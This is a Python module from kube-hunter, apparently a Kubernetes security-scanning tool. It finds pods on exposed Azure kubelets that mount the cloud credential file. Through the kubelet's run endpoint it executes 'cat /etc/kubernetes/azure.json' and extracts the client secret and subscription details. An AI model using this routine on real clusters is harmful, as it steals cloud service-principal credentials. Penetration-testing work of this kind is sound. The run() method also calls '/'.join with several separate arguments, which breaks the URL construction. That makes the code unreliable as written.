Files
kube-hunter/kube_hunter/modules/hunting/aks.py
Itay Shakuryanddanielsagi e63200139e fix azure spn hunter (#372)
* fix azure spn hunter

* fix issues

* restore tests

* code style

Co-authored-by: danielsagi <danielsagi2009@gmail.com>
2020-10-19 13:53:50 +03:00

100 lines
4.0 KiB
Python

import json
import logging
import requests
from kube_hunter.conf import get_config
from kube_hunter.modules.hunting.kubelet import ExposedRunHandler
from kube_hunter.core.events import handler
from kube_hunter.core.events.types import Event, Vulnerability
from kube_hunter.core.types import Hunter, ActiveHunter, IdentityTheft, Azure
logger = logging.getLogger(__name__)
class AzureSpnExposure(Vulnerability, Event):
"""The SPN is exposed, potentially allowing an attacker to gain access to the Azure subscription"""
def __init__(self, container):
Vulnerability.__init__(
self,
Azure,
"Azure SPN Exposure",
category=IdentityTheft,
vid="KHV004",
)
self.container = container
@handler.subscribe(ExposedRunHandler, predicate=lambda x: x.cloud == "Azure")
class AzureSpnHunter(Hunter):
"""AKS Hunting
Hunting Azure cluster deployments using specific known configurations
"""
def __init__(self, event):
self.event = event
self.base_url = f"https://{self.event.host}:{self.event.port}"
# getting a container that has access to the azure.json file
def get_key_container(self):
config = get_config()
endpoint = f"{self.base_url}/pods"
logger.debug("Trying to find container with access to azure.json file")
try:
r = requests.get(endpoint, verify=False, timeout=config.network_timeout)
except requests.Timeout:
logger.debug("failed getting pod info")
else:
pods_data = r.json().get("items", [])
suspicious_volume_names = []
for pod_data in pods_data:
for volume in pod_data["spec"].get("volumes", []):
if volume.get("hostPath"):
path = volume["hostPath"]["path"]
if "/etc/kubernetes/azure.json".startswith(path):
suspicious_volume_names.append(volume["name"])
for container in pod_data["spec"]["containers"]:
for mount in container.get("volumeMounts", []):
if mount["name"] in suspicious_volume_names:
return {
"name": container["name"],
"pod": pod_data["metadata"]["name"],
"namespace": pod_data["metadata"]["namespace"],
}
def execute(self):
container = self.get_key_container()
if container:
self.publish_event(AzureSpnExposure(container=container))
@handler.subscribe(AzureSpnExposure)
class ProveAzureSpnExposure(ActiveHunter):
"""Azure SPN Hunter
Gets the azure subscription file on the host by executing inside a container
"""
def __init__(self, event):
self.event = event
self.base_url = f"https://{self.event.host}:{self.event.port}"
def run(self, command, container):
config = get_config()
run_url = "/".join(self.base_url, "run", container["namespace"], container["pod"], container["name"])
return requests.post(run_url, verify=False, params={"cmd": command}, timeout=config.network_timeout)
def execute(self):
try:
subscription = self.run("cat /etc/kubernetes/azure.json", container=self.event.container).json()
except requests.Timeout:
logger.debug("failed to run command in container", exc_info=True)
except json.decoder.JSONDecodeError:
logger.warning("failed to parse SPN")
else:
if "subscriptionId" in subscription:
self.event.subscriptionId = subscription["subscriptionId"]
self.event.aadClientId = subscription["aadClientId"]
self.event.aadClientSecret = subscription["aadClientSecret"]
self.event.tenantId = subscription["tenantId"]
self.event.evidence = f"subscription: {self.event.subscriptionId}"